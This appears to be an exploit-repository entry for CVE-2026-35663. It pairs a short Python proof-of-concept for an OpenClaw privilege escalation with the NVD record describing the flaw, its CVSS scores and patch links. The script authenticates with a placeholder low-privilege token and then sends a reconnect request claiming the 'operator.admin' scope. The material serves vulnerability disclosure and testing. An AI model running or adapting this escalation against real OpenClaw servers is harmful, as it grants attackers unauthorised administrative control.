CVE-2026-35663

import socket import json # Target OpenClaw backend server TARGET_IP = "127.0.0.1" TARGET_PORT = 8080 def exploit_openclaw_priv_esc(): """ PoC for CVE-2026-35663: OpenClaw Privilege Escalation via Backend Reconnect. This script simulates a low-privilege operator reconnecting with an escalated scope. """ print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}...") try: # Establish connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Step 1: Authenticate as a low-privilege operator (simulated token) auth_payload = { "action": "auth", "token": "valid_low_priv_token_here" } s.send(json.dumps(auth_payload).encode()) print("[+] Authenticated as low-privilege operator.") # Step 2: Malicious reconnect request claiming admin scope # Vulnerability: The server accepts the scope claim without verification reconnect_payload = { "action": "reconnect", "requested_scope": "operator.admin" # Escalation happens here } print("[*] Sending malicious reconnect request with scope 'operator.admin'...") s.send(json.dumps(reconnect_payload).encode()) # Step 3: Receive response response = s.recv(1024) response_data = json.loads(response.decode()) if "admin" in response_data.get("granted_scope", ""): print("[!] SUCCESS: Privilege escalation confirmed!") print(f"[*] Granted Scope: {response_data['granted_scope']}") else: print("[-] FAILED: Server did not grant admin scope.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_openclaw_priv_esc()

{"cve": {"id": "CVE-2026-35663", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:08.047", "lastModified": "2026-04-13T20:39:05.993", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.25 contains a privilege escalation vulnerability allowing non-admin operators to self-request broader scopes during backend reconnect. Attackers can bypass pairing requirements to reconnect as operator.admin, gaining unauthorized administrative privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-648"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.25", "matchCriteriaId": "AC9C9003-CE72-4BFC-85B4-1E778E125CB1"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d3d8e316bd819d3c7e34253aeb7eccb2510f5f48", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-9hjh-fr4f-gxc4", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-privilege-escalation-via-backend-reconnect-scope-self-claim", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}